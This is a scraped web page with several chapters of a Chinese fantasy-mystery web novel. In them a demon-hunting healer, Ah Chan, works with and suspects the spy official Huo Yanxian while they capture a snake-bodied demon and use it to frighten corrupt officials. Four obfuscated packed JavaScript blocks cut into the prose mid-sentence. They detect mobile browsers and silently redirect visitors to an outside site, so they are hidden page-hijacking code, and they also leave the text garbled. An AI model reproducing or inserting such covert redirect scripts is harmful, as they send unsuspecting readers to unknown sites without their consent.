自然,玥宜公主就想到了曾经救治过嘉善皇后的禾阳县主,她尤其擅长给女子治病。 叶逢君也是因此奉旨入宫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324472|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但就像她之前在禾阳县主府对阿婵说的那样,这些贵女脸上的疤痕都已经留得太久,错过了最佳救治时间,而以叶逢君的医术,她翻遍医书,也只能用药缓解,没有找到能够彻底根治蚀颜蛊的办法。 一筹莫展之际,她想到了阿婵,阿婵精通道医之术,会捉妖,想看看她有没有猎奇的办法。 阿婵道,“办法不是没有,只是蚀颜蛊是上古蛊虫,解药所需的药引也是上古精怪,要找到并不容易。” 叶逢君:“我就知道你有办法,你具体和我说说,以你自己的力量找药引或许有些困难,但如果真的能够根治,我便去和公主说说,有公主的人力财力物力帮助,说不定找到药引也不是难事。” 阿婵心中一动,这或许是个混入宫中打探父亲、霍彦先和嘉善皇后当年秘密真相的好机会。 于是她便道:“这种上古精怪叫做‘狈负蛇’,是一种狈头蛇身的妖物,喜欢游走在各种深山之中,以玩弄吓唬行人和各种猛兽为乐,将他们溜耍到精.疲力竭再吸.精气。用这妖物作药引,需要活捉它才能保留药性。 但因为狈负蛇出没的地方并不固定,不是说单纯守在哪座山就能找到,所以需要大量人力来寻找。 我把这种药引的特性、制药方法、药效都写给县主,县主可以先呈上给玥宜公主过目,若是真能借公主的东风治好贵女们的脸,也是功德一桩。” 叶逢君点头,“好”。 *** 不过一日后,叶逢君果然兴高采烈地到蓬莱春找到阿婵。 “这事成了。公主说,可以用她的人帮你找药引。不过你要好好准备一下,随我入宫。” “入宫?”阿婵眼睛一亮。 她之前是想到如果能替玥宜公主办成这件事,大概率可以进宫跟公主套近乎,但没想到机会来得这么快,这不是瞌睡时正好来了个枕头! “嗯,玥宜公主为了彰显嘉善皇后遗风,替大桓女子排忧解难,因此想要邀请所有被毁容的贵女进宫安抚,打开心结。” 阿婵皱眉:“还没有找到药引,就邀请她们进宫吗?” 叶逢君提醒她:“她们入宫后会被安排小住一段时间,而且不止是她们,公主其实是想见你。” 阿婵懂了,这是在给她施压。 看来这玥宜公主也不傻,若是她能找到药引治好贵女们的脸,功劳都是公主和皇家的。 但若是找不到药引,治不好脸,那一众贵女也不能将对煜王和阮云薇的恨迁怒到皇家头上,而是她闻寰居士无能! 这宫果然不是好进的。 但是,为了调查当年的真相,她必须得进,还得想办法把这件事办成! 94. 八卦中的秘密 果然,入宫之后,玥宜公主便在宴席间当着众贵女的面,给阿婵施压。 她一改之前在客栈被东仓使者吓得花容失色的模样,端起了公主威仪。 “闻寰居士,不知道你能不能给本公主一个期限,何时能够找到药引?” 阿婵淡然一笑,不卑不亢道: “公主秉承嘉善皇后遗志,为大桓女子排忧解难,某自当竭心尽力,尽快找到药引。 只不过,某以往捉妖找药引都是独自行动,一月两月找到算是运气好,三年五年找不到也是常有的事。这次做药引的妖物行踪不定,神出鬼没,某一人难免分身乏术,如能多一点人帮忙,自然就能越快找到。” 玥宜公主神色笃定道:“你放心,我许你人力,助你找药引。” 阿婵却道:“这药引是活物,行踪诡秘,能帮助我寻觅踪迹的必不能是一般人。” “没关系,只要能够治好众贵女的脸,哪怕是桓安禁军中的精锐,我也会让父皇给你调来!” 阿婵唇角微扬,要的就是这句话。 大殿之上,众贵女和玥宜公主都看向她。 只听得阿婵清泠泠的声音在大殿响起:“那么,绣衣察事司的霍大人,我也可以随意差遣么?” ???!!! 玥宜公主闻言,立马柳眉倒竖。 不说自己不喜欢霍彦先与这闻寰居士接触时,他看向她的眼神,总觉得二人关系不一般,虽然他们各自都澄清了彼此只是公务合作没有其他关系,但她心里总觉得哪里不对劲。 再者说,霍彦先最近还在负责平海镇卫琛犯上作乱的情报一事,也不知道他处理完没有,父皇会不会将人给自己用。 但她刚才已在众贵女面前许下海口,说连禁军都可以请来,若是如今改口说不行,自己面子上也挂不住。 罢了,便去求父皇试一试,左右不过挨顿骂! 当下玥宜公主只好忍着气道,“有何不可,你且等着!” 阿婵笑着道谢,心中一块石头落地,随即压力也陡然增大,这回不仅是玥宜公主和一众贵女盯着她,连圣人也要盯着她了。 但为了进宫,不妨就赌上这一回。 *** 蓬莱春。 “你说你,伤都没养好又要去捉狈负蛇!”谢慕游抱怨道。 “这回不去不行了,不止玥宜公主,连圣人也看着我呢。要是这回能成事,说不定就能蹚出一条进宫的路来。” 烛火跳动,阿婵眼中也闪着簇簇的光焰,她低头轻咳。 “那也……唉,你看看你,这动不动还咳嗽吐血呢,找狈负蛇动辄在山中待上十天半个月,你能受得了吗……” 谢慕游无法反驳,但就是看不得阿婵自找苦吃。 “放心,也不是马上就去,高低还能再缓几天。现在霍彦先还没回桓安,就算回来,那狈负蛇的行踪估计一时半会儿也寻不到,这期间我会好好养伤的。” 阿婵看谢慕游还在哼哼唧唧,连忙转移话题,“诶,你最近帮我查查霍夫人十年前的事吧。” “霍夫人?你这一路上还没问够?” 阿婵有些苦恼,“这一路上问的都是关于她身体方面的事,我看她似乎有记忆缺失的问题,只有受了特定的刺.激,丢失的记忆才会浮现,那时候的她,可能才是真实的她。 但是,一旦处于安全的环境,这些记忆又会消失,她就变得和平常那些贵夫人一样,言行举止无一不得体完美。” 完美得像个假人,将所有的陈年秘密都压.在心底,禁止外界的触碰。 那日,霍夫人昏迷后醒来,在马车上,阿婵问她感觉怎么样。 霍夫人又恢复了之前在灵骅寺接过阿婵的护身符时那种和蔼笑颜,一个劲儿地对阿婵和谢慕游表示感谢。 从言语到眼神,毫无半点凌厉模样。 交谈中,阿婵发现,霍夫人半点都不记得自己在密林中失态的样子,以及说过的那些话了。 后来几次试探,阿婵发现霍夫人身旁的仆从对霍夫人的病情也讳莫如深,言辞闪烁,这更让她确定,霍夫人身上肯定藏着秘密。 所以,她才想混进霍府,霍彦先和霍夫人问不出什么,能套一套下人们的话也是好的。 谢慕游搜肠刮肚,努力在浩瀚的八卦中寻找。 “你这么一说,我倒是想起不久前查到的一个关于霍彦先的八卦,你这几天太忙了,所以一直没和你说。” 阿婵眼睛一亮,“说来听听。” 谢慕游滔滔不绝起来:“十多年前,霍彦先回桓安常住,在桓安贵女中引发了不小的轰动,在这个八卦里,霍夫人也出现了那么一小下……” 原来,霍彦先十岁就跟着霍老将军在外征战,一年回不了桓安几次,年幼时在桓安几乎也没留下什么生活痕迹。 他十七岁那年,霍老将军战死,霍彦先也身受重伤,霍氏家族的男丁除了霍彦先和他大哥霍廉,其余全部战死沙场。 圣人出于怜悯,特意将年少的霍彦先召回,让他能陪伴霍夫人左右,不至于霍府无后。 谢慕游道:“霍夫人和霍老将军伉俪情深,听闻霍老将军死讯,她亲自去战场收敛夫君的遗骨。扶棺回桓安的时候,百姓们见到霍氏一家都身着铠甲,这其中也包括霍夫人,当时大家都说霍夫人巾帼不让须眉,不愧是霍氏家族的女主人。” 阿婵回想起霍夫人发病时的凌厉模样,“我问过,霍夫人也是武将世家出身,身着铠甲并不稀奇,但她也去了战场…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331300|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 随即,她若有所思道:“如果霍夫人认为霍彦先是假冒的,那一定是霍彦先随父征战的这些年,在战场上曾经发生过什么,霍夫人知晓其中的秘密,或许就是扶棺回来这次知道的。” 谢慕游继续讲述:“而且,桓安贵女们很敏锐,她们先发现了霍彦先和之前判若两人……” 锦书阁调查出,桓安显贵圈虽然没和十岁之前的霍彦先有过密切接触,但霍氏家族也是名门,正常的各种宴席场合霍彦先也还是会出席。 小时候的霍彦先给人留下的印象,基本都是教养很好,温和谦恭,彬彬有礼的贵公子,像个文弱秀气的书生,完全没有武夫的莽气。 但自从十七岁那年回来,霍彦先明显整个人变得沉默寡言、孤僻冷漠,不太爱和外人接触。 他回来那一日,便引起轰动,不仅是因为他身受重伤还亲自长途跋涉为霍老将军扶棺回来,更主要是因为他那张脸和身材气势,高大、冷峻、霸气,偏偏没有武夫的粗糙,反而十分俊美,再加上受伤,更添破碎之感,那时候桓安的贵公子们一个个都偏文弱白净,贵女们还没见过这种类型的。 当时桓安百姓感念霍老将军为国捐躯,争相去街上迎接,有贵女看到了,惊为天人,回去一传十十传百,一时间,其他没去街上的贵女们都对这个霍彦先的长相十分好奇。 甚至有胆子大的贵女,不惜女扮男装,借和父兄上门吊唁霍老将军的契机,上门偷偷看霍彦先到底长得多好看。 也因此,后来出了三年孝期,许多显贵就上霍彦先家中说亲。 他出身将门世家,为人高大俊朗,身有战功,圣人青睐,更重要的是,以后应该不用再去战场拼杀,在朝中挂个文职武将,前途安稳又不可限量,是桓安很多贵女的梦中情郎。 说亲的媒人踏破门槛,霍彦先出门十天路上能偶遇八个贵女,但这些人,都被他毫不客气地拒绝了。 拒绝得多了,贵女们才看明白,原来霍彦先的冷酷无情不是因为霍老将军离世伤心过度,也不是为了守孝,更不是装出来的欲拒还迎。 他好像,是真的骨子里透出来的那种战场上杀人杀多了的冷漠,完全和小时候温润有礼的翩翩贵公子不是一个人了。 渐渐地,贵女们开始对他敬而远之。 直到霍彦先进入绣衣察事司,青云直上,他的名声也随之变了,不止贵女们,整个朝野上下都开始对他感到害怕,生怕霍彦先哪天多看自己一眼,晚上自己睡梦中就被他砍了头,抄了家。 阿婵顺着这消息往下推:“如果是这样,那么现在我们见到的这个霍彦先,并非霍氏血脉,所以他才那么努力想要出人头地,甚至不惜踩着自己的挚友上位,树立自己在朝中的威信,一切就解释得通了。” 95. 转变路数 据阿婵和谢慕游的调查,霍彦先回桓安之后,为人低调且孤僻,当时只有皇后的侄子杜时衡是他为数不多的朋友,两人经常一起出去骑马喝酒。 后来他们二人分别被圣人派出去打仗。 在一次紧急战事中,霍彦先收集情报,和杜时衡打配合,两人赢得了战事的胜利,圣人因此龙颜大悦,褒奖两人。 因察觉霍彦先有情报方面的天赋,圣人便让他进入绣衣察事司最底层,开始涉猎更多的情报任务。 结果十年前,朔勒一战,依旧是霍杜二人打配合,最终的结果却是杜时衡带领大桓精锐全军覆没。 杜家人大骂霍彦先是因为想和杜时衡争夺圣宠,不择手段,不惜利用杜时衡对他的信任,给了假情报,让杜时衡去送死。 朝堂之上风言风语众多,但圣人最后没有下定论,到底谁对谁错,且因涉及到军事机密,至今无人知道真相。 外界只看得到,这件事后,杜时衡身死成了被大桓百姓唾弃的贪功冒进之罪人。 而霍彦先却平步青云,被圣人特赐龙首金杖执行任务,成了最为年轻的绣衣监侯,一路顺风顺水,年纪轻轻便身居绣衣副察事高位。 但阿婵如今看来,如果霍彦先本身并非霍氏后人,而是假冒的,他确实需要战功来巩固自己的地位,那么为此害死友人,也不无可能。 她不禁又想到十年前的乱葬岗密林中,霍彦先确实做过这样两面三刀的事。 那晚,霍彦先一面说自己奉了圣人之命要对父亲的尸体镇煞,转头就将随行的方士手刀砍晕,而后把嘉善皇后的信件在父亲坟前烧完,将父亲安葬。 她从头到尾看着,看不出霍彦先对父亲尸体有什么不敬的地方。但他确实做出了阳奉阴违的行为,令人难以理解。 可现在看来,若以霍彦先是假冒的来解释,那便也解释得通,他手段高明,用尽手段在各方斡旋,从中谋取利益。 可他想要的利益是什么呢? 这些人如果都能被他玩弄于股掌之中,而他这些年还能在朝堂混得顺风顺水…… 阿婵心中冒出了一个最坏的结果。 难道他,企图对大桓江山有所图谋? 可这想法一冒头,阿婵立马便想将它按下去。 这跟她亲自接触的霍彦先,怎么会是同一个人? 若说他为了往上爬而故意给错误情报让杜时衡和几百精锐战死沙场,弃大桓安危于不顾…… 可在富州城,霍彦先不惜从坍圮的佛塔上摔死,也要极力阻止堤坝被炸毁,这是她一路亲眼见到的,她不觉得霍彦先会是个弃国家百姓安危于不顾的人。 若说他本身就是一个不择手段不惜牺牲同袍性命往上爬的人…… 可她又亲身经历过,一次富州城江中,一次寻虎妖妻子,霍彦先两次替她抵挡爆炸,都是实打实下意识的行为,她并不觉得霍彦先是个战斗时会弃同袍于不顾的人。 而且绣衣察事司的那些人,对霍彦先的态度也很松弛,很敢开他的玩笑,一个会让并肩战斗的兄弟随意去送死的人,那些人会是这样的态度吗? 这么长时间以来和霍彦先相处下来,虽然有时候他办事手段确实冷酷残忍,但其实惩治的都是罪大恶极之辈,比如欲分食父亲尸体的五个犍骑营逃兵、胡三郎、陈富仲、阮云薇…… 这样一个人真的会变成踩着自己知己同袍往上爬、企图祸国殃民的卑鄙小人? 他的风评和实际阿婵亲眼所见的完全判若两人,若是外界对他误解那么大,他为什么不解释? 还有一种可能,就是他太会隐藏自己,对她隐瞒了太多真实的一面,偏偏他又熟知情报手段,是一个对于别人的刺探非常敏感的人。 哪怕你觉得他好像和你变成了朋友,对你有了些许信任,就像一直用刺对着你的刺猬突然露出了一小片肚皮。 但若那人是霍彦先,阿婵觉得,他大概率会是那种拿这一小片柔软肚皮当成诱饵,骗取你的信任,而后伺机刺探你更多情报的人…… 父亲生前说过,不要轻易招惹绣衣察事司的人,他们就像暗中窥伺吐着信子的毒蛇。 每每阿婵的内心被霍彦先触动时,她都会情不自禁想到父亲这句话,提醒自己立时清醒警觉起来。 阿婵不禁头疼,和霍彦先认识这么久,和他在一起的每时每刻,她都要绷紧神经。 但霍彦先这条线,绝对不能绕过,一定隐藏着更大的真相,她必须要查。 虽然她目前见到的霍彦先没有做过什么十恶不赦的事,但也不能轻易相信他,还有太多疑点,暂时还得和他虚以为蛇一段时间。 阿婵思来想去,还是要先按照之前定的计划—— 一,尽快替公主找药引,混进宫。 二,混进霍府查探。 三,同时顾及楼映真和煜王的动向。 以她的精力,暂时只能顾及这么多。 *** 五日后。 阿婵本以为还要过很久才会有狈负蛇的消息。 但没想到,玥宜公主说话算话,真的说服圣人将霍彦先和绣衣察事司给她派遣。 大概是因为煜王将平海镇节度使卫琛作乱一事平息,霍彦先在情报方面也处理得干脆利落,解决了圣人的一个心头大患,最近圣人心情很好的缘故。 当然,圣人愿意支持这件事,不是因为贵女,而是因为公主打着嘉善皇后的旗号做这件事,所以只许成功,不许失败。 不过,阿婵得说,绣衣察事司的情报效率着实高,这才几天,便找到了狈负蛇的行踪。 因狈负蛇经常深夜出没在山中,将整座山围控起来,制造幻境,通常它出没的地方,夜空中会出现一层薄纱雾气,笼着星河月色慢慢流向山中。 因这天象瑰丽奇诡,常会诱使看到的人感到惊叹,慢慢跟着雾气流向走进山间、迷路,接着就会被狈负蛇戏耍、精.疲力竭、被吸食.精气而亡。 但这天象只会持续很短暂的一段时间,狈负蛇又四处流窜、居无定所,所以除非每天晚上在大桓境内的山中都有人值守,紧盯着天象,否则极难发现狈负蛇的所在,而夜晚山间本就危险,更为寻找增添困难,因此狈负蛇极难寻找。 但绣衣察事司不同,他们最擅长的就是四处钻山刨地,搜集线索情报,又常年和穷凶极恶的犯人打交道,身上有功夫,煞气又很重,很适合做这件事。 霍彦先还没从平海镇回来,就接到了圣人的消息,要求在全国各地的山野周围寻找这样的天象。 没过几天,便发现了这怪奇的天象,更巧的是,就在离桓安西南方向不远的云梦县金粟山。 阿婵收到消息,本打算快马去金粟山。 谢慕游跟在她身后一脸担忧:“你这伤还没养两天,路上颠簸,还是坐马车吧……” 阿婵听得耳朵起茧,趁谢慕游不备,赶紧合着夜色溜出蓬莱春。 一出门,却发现霍彦先和一辆马车正等在门口。 “霍……大人?”阿婵不敢相信自己的眼睛。 他不是应该从平海镇直接去金粟山和她汇合吗? 眼前的霍彦先风尘仆仆,衣服上全是灰土,眼中尽是血丝,看得出应该是从千里之外快马加鞭赶回来,几天几夜没休息。 “嗯。”霍彦先看着阿婵,神色有些僵硬地公事公办道:“你收到绣衣察事司的消息了吗,圣人要求尽快捉拿狈负蛇回去做药引,我们已经找到了。” 阿婵点点头。 霍彦先声音里透着疲惫,但突然叹了口气,像是下定了什么很大的决心,换了一副温柔语气: “我在路上,听闻母亲被贼人绑架,是你救了她,而且为救她还重伤吐血,你最近伤势如何,还能去捉妖吗?若是不能,我会去和圣人求情宽限些时日……” “啊?”阿婵睁大眼睛。 饶是她脑子转得快,也没想到和霍彦先再次相见竟是这样的情景。 怎么看这架势,霍彦先好像是专程来找她的? 只见霍彦先深深朝她作了一揖,郑重道:“多谢你救我母亲,你的恩德,我定会相报。” “啊?”阿婵再次睁大眼睛。 虽然但是,吐血并不是因为救霍夫人…… “不……不必客气,只是路见不平拔刀相助而已。我的伤没事了,咱们赶紧去找狈负蛇要紧。” 阿婵讪笑,同时心中涌出无数想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340137|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法。 很好,霍彦先误会了,这很利于她拉进他们之间的关系,打探情报。 但是坏了,霍彦先先于她换路数了! 以往霍彦先除了和她探讨案情之外,其他对话闲聊就算和颜悦色,也三句里两句不是绵里藏针就是讽刺挖苦,如今这是,开始打温情牌了? 前几日她还在怀疑霍彦先是不择手段、卖友卖国的假货,如今这样他是要玩哪一出? 阿婵哪知霍彦先的想法。 *** 霍彦先一路跟踪煜王到平海镇,查出煜王与平海镇节度使卫琛往来甚密,其实是假意结交,为的就是使这乱臣贼子露出马脚。 几乎是一.夜之间,他便和煜王联手将乱党卫琛及其党羽一举歼灭收伏,解决了圣人的心头大患。 这样一来,煜王洗脱了勾结乱臣贼子的罪名,同时也打消了霍彦先之前怀疑阿婵和煜王之间有什么瓜葛会对大桓不利的想法。 刚从平海镇回来,霍彦先半路就收到了母亲甩开府中侍卫偷偷出去散心,结果被绑架的消息,霍彦先简直震怒,那些侍卫简直是饭桶,明知母亲身体不好竟然还如此粗心! 随即得知是阿婵路过相救,母亲话里话外都是感谢,霍彦先又觉缘分奇妙,想起自己之前对阿婵的一路怀疑,更显小肚鸡肠。 可再展信往下看,母亲说阿婵为了救她甚至被车轮碾压吐了血,霍彦先当时脑子“嗡”地一下,不敢相信文字所写。 碾压?吐血? 她怎么可能吐血? 她一个连鱼妖花妖虎妖都能信手降服,一顿饭吃一条街,力壮如牛的捉妖方士,怎么可能被车轮碾压吐血? 母亲和阿婵到底遇到了什么?! 登时,他心中充满前所未有的惶恐,拼了命昼夜不停地往桓安赶。 可紧接着半路又收到圣人让他率绣衣察事司替闻寰居士找狈负蛇踪迹的任务。 他只好一边沿途给全国绣衣察事司分部传讯,尽可能提高查探效率,一边赶路,连着累倒了几匹马,他自己也几天几夜没合眼。 回到霍府见母亲暂时安好,他的心落地了一半,又让杨奉安将那两个绑架母亲的贼人好好“审问”一番,而后,他甚至连脸也没洗,衣服都没换,便匆匆赶到蓬莱春见阿婵,想看看她怎么样了。 狈负蛇刚刚找到,圣人下令尽快捉妖,但阿婵重伤吐血,真的能和他现在立刻出发去捉妖吗? 但这件事不能等。 想了想,他还是搞了一辆马车来到蓬莱春门前。 可到了门前,才发觉自己的脑子因累日连轴转早已麻木空白。 见到阿婵该说什么呢? 霍彦先总觉得之前自己那样怀疑她,心中愧疚,还有……还有些奇怪的感觉,是尴尬么? 他想不明白,大概是以往对着阿婵除了探讨案情,总觉得她哪里不太对劲,免不了针锋相对互相试探。 如今验证阿婵没有了嫌疑,又救了自己母亲,一时间,阿婵的身份转变了,自己也不能再拿审犯人那一套对待她。 可又该以什么样的态度对待她呢? 他不禁想起之前阿婵在富州城的案子结束后,和他在江边偶遇。 那时阿婵笑着对他说,“抱歉,我还以为我们已经算朋友了。” 自己当时还对她说什么“我的朋友可不好做”。 那时他的确认为,以他的职责,注定很难和人交心,真正敞开心胸坦诚对待一个人。 所以面对阿婵,他十分谨慎,但现在,他觉得自己应该对阿婵坦诚一些,对她好一点,说不清为什么,但他就想要这样去做。 这种感觉对霍彦先来说太陌生了,已经多年未曾有过,因此,他感到混乱、迷茫,脑海中一时理不清该如何处理。 忽然,他感到一只温软的手递了过来。 霍彦先瞬间回神,惊觉自己竟朝阿婵伸出手,作势要将她扶上马车。 阿婵朝他展颜一笑,将手递给他:“大人刚才不是说,‘上车吧,我载你过去’吗?那就别愣着了,我们赶快走吧”。 夜色深重,她苍白虚弱的脸上绽放的笑太过明艳晃眼,竟令霍彦先一时怔愣在原地。 96. 狈负蛇 阿婵上了马车,心中却还想着霍彦先刚才的奇怪变化。 结果没想到,过了一会儿,车帘被掀开,竟是霍彦先。 他抬眸看了一眼阿婵,也上了马车,慢腾腾坐到了阿婵侧面的位置上。 阿婵惊讶地看着他。 可霍彦先并不看她,正襟危坐,目视前方,双手伏于膝上,默不作声。 阿婵盯着他那抓皱了膝处衣衫布料的局促双手,又不解地看看霍彦先。 霍彦先这才清了清嗓子,淡淡道:“你的伤……若是难受,便跟我说,不要强撑……” 一阵微热的风吹过,车窗帘角泛起一丝涟漪,阿婵睫羽轻颤。 “大人放心,真的没什么,不耽误找药引的。” “哦。” “……” “……” 不知为何,两人陷入了莫名的尴尬。 霍彦先虽然没看阿婵,但余光能感觉到,阿婵的目光不知为何,时不时瞟向自己胸.前,这让他更是尴尬。 一阵沉默过后,霍彦先轻咳一声,率先开口。 “此次找狈负蛇,你可不可以帮我一个忙?” 他们还是聊公务的时候最自然,所以,还是聊公务吧。 “大人请讲。” “我要用这狈负蛇,替绣衣察事司审几个重刑犯。” “啊,当然没问题。”阿婵会意一笑。 “那便来商议一下如何部署吧……” 说着,霍彦先终于神色不再僵硬,向阿婵靠近了一些…… *** 云梦县,金粟山。 夜半三更,山脚密林,阿婵看着面前三个筋疲力尽的重刑犯。 真难为霍彦先了,竟不怕麻烦将他们千里迢迢带到了这里。 “还不将几位大人的枷锁脚镣都解开。”霍彦先对绣衣察事司司众道。 三个重刑犯面面相觑。 他们都曾是朝野中非常有权势的官员,周崇善、陈德润和徐守昭。 但有一个算一个,都是巨贪。贪污百姓的税银、营造材木价款总计高达二十万两白银,够穷苦百姓活好几千年,但被抓的时候,他们还依然在筹划如何贪没下一年的银子,简直罪大恶极! 直至被押送到大理寺,三人依旧傲慢顽固得很,怎么审都不说将贪污巨款藏在哪儿了。 问,就是满脸不在乎。反正他们最后无外乎就是个死,伸头一刀缩头也是一刀,这没什么好怕的。 但那些堆积如山的财富,还得留着给他们的子孙后代享福,因此无论大理寺如何盘问,他们打定主意就是一个字也不说。 迫于无奈,大理寺才将三人移交给绣衣察事司,希望以霍彦先的手段可以让他们坦白贪污款的所在。 但霍彦先一直冷处理,没有管他们。以至于三人心中暗暗觉得,这绣衣察事司也没有传闻中的那么可怕,进来好几天了,无事发生,渐渐也都放松了警惕。 却没想到,几天之前,绣衣察事司的人竟逼迫他们半夜从睡梦中起来,顶着酷暑,从桓安一路走到这里,风餐露宿,幕天席地,这跟流放有什么区别! 他们平日里养尊处优惯了,哪里受得了这种苦。 饶是这三人在大理寺还端着架子,此刻也脚底板搓火,走掉了半条命。 但现在,霍彦先看着三位曾经一手遮天位高权重的朝廷重臣,却像在看新玩具一样。 “三位大人,这几天路上风景如何?” 霍彦先微笑问道,但那戏谑的眼神看得三人脊背嗖嗖发凉。 不待三人应答,他又道:“遗憾的是,悠闲的日子结束了,今日咱们来玩点新鲜刺.激的,如何?” 三人不由得再次面面相觑,眼神透出惊恐。什么东西?过去这几天把他们一辈子没走的路都走完了,霍彦先管这个叫悠闲?! 他今天还要耍什么花招! 三人腹诽中,但见霍彦先确实非常悠闲,手里甚至捻着根草在玩儿。 只听得霍彦先道:“若三位今日能走出这山林,那霍某就做主,还三位自由。” 阿婵听着,在一旁暗暗翻了个白眼,怪不得人家说绣衣察事司办案迅速,这霍彦先还真是无所不用其极。 她看他是没打算让这三个人活着回桓安。 只见霍彦先命人就地扎营,整个绣衣察事司的人真的好像对三个重刑犯视若无睹,任他们逃跑。 三人半分摸不着头脑,但心知肯定不对劲,不知道他到底要耍什么花活。但现在枷锁脚镣都已取下了,没有任何束缚,此时不跑,更待何时?于是三人视线一对,转头撒丫子就往深山里跑。 待到三人的身影隐没入密林,霍彦先才收起戏谑目光,对阿婵正色道,“开始吧。” *** 原来,阿婵这次要捉的狈负蛇,生性喜欢在深山中捉弄过路人,躲在阴暗处像猫溜耗子一般,把人往死里玩。 玩够了,再吸食.精气,顺便将尸体啃咬一番,倒也不是专门为了吃,就是纯粹的好玩。 因狈负蛇周身冰冷,最喜欢人在绝望跑动时热血沸腾的口感,软嫩弹牙。 阿婵刚才已在山中看到雾气显现,星月倒流的天象出现,搜寻到了狈负蛇出没的方位,用山蜘蛛丝将其捉拿。 此刻,她将狈负蛇悄悄放开,让其追踪三个重刑犯而去。 那狈负蛇开始因为被捆缚住十分气恼,后来不知道怎么回事,自己又恢复了自由,正好那三个重刑犯撞在自己枪口上,便以为是他们三人搞鬼,它本就心胸狭窄,瞬间亮出獠牙准备报复。 阿婵和霍彦先则攀上高树,跟随三人脚步,不断看着狈负蛇如何戏耍三人。 …… “周大人,陈大人,不对啊,这不是刚才咱们留下的记号吗?” 三人之中,徐守昭年轻些,眼睛也尖些,在黑灯瞎火的密林树上看到了之前他们为防迷路而系的布条。 起初,他们三人还跑得很起劲,但跑着跑着突然觉得脚下被绊了一下,身后突然出现了一个狈头蛇身的怪物,阴狠地盯着他们,不论他们往左跑还是往右跑,它都如影随形。 但跑了一会儿,那东西又不见了。 开始三人还能勉强应付,觉得这东西并不像狼和蛇,上来就扑咬他们,他们还有活路。 可随后三人越发觉得,怎么不对劲?! 为什么每跑一段时间,那怪物就会出现一次,而且它的目光越看越渗人,好像充满怨恨,又透着讥笑,仿佛故意要把他们玩儿死一样?! 就这样,从半夜到天将亮,三人一直在林中四处乱窜。 他们平日出门都坐轿骑马,如今这样不吃饭,不喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346353|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,一直跑,跑得三魂七魄原地升天,但无论怎么都跑不出那怪物给他们画出的圈子,简直绝望至极! “还挺能跑。”阿婵很是佩服,不愧是从老百姓嘴里一钱一钱抠出来的巨贪,像他们这种锲而不舍地求生精神,干什么都会成功,可惜,遇到了霍彦先! 啧,好可怜。阿婵心想。 所以说,人活着最好遵纪守法,不要犯事儿,犯事儿也不要被霍彦先抓到。 任何一个犯人栽到霍彦先手里,你也会觉得他命苦。 阿婵一面想着,一面居高临下地看着三人从一开始像个没头苍蝇一样乱窜。 直到后来,三人连续第十次重遇自己沿路留下的记号,才终于面无人色地尿了裤子,崩溃大哭,口吐白沫,奄奄一息。 “救命啊——”陈德润绝望嘶吼。 周崇善赶紧捂住他的嘴,“快闭嘴,别把那东西引来!” 此刻,虽然三人很累很绝望,但狈负蛇更是累到连蛇形都走不稳了,但是它停不下来,根本停不下来! 它不知道自己到底沾上了什么奇怪的东西,每当想停下来休息的时候,就会莫名其妙被那个东西刺一下,那刺痛如遭雷劈,所以它根本不敢停下,只能像个陀螺一样不停地围着三人转。 啧,好惨。霍彦先心想。 他看着阿婵用符箓催命似的催那狈负蛇,哪怕它累了想停下来休息一会儿都不许,一副累到抽搐的模样,心中再次感叹,错失人才! 当时他在马车中提出要用狈负蛇审重刑犯,阿婵毫不犹豫地答应了,两人商量部署方案流程,那默契程度简直是一丘之貉,哦不,一拍即合。 霍彦先再次深深觉得遗憾。 可惜阿婵志不在此,不然她若是能够加入绣衣察事司,那他们办案配合不知道会有多默契! “还差多久?”霍彦先问阿婵。 “快了。”阿婵看看天色,“再玩一会儿药性就激发得差不多了。” 原来狈负蛇要想入药,也得需要它不断运动,在体力消耗到最顶峰的时候取其胆汁,药效才是最好的。 于是两人又在树上静观三个巨贪和狈负蛇一脸生无可恋却又必须互相折磨的情景,感到十分满意。 …… 过了半晌,当第一缕天光打透枝叶,阿婵终于道:“好了,收吧。” 霍彦先点头。 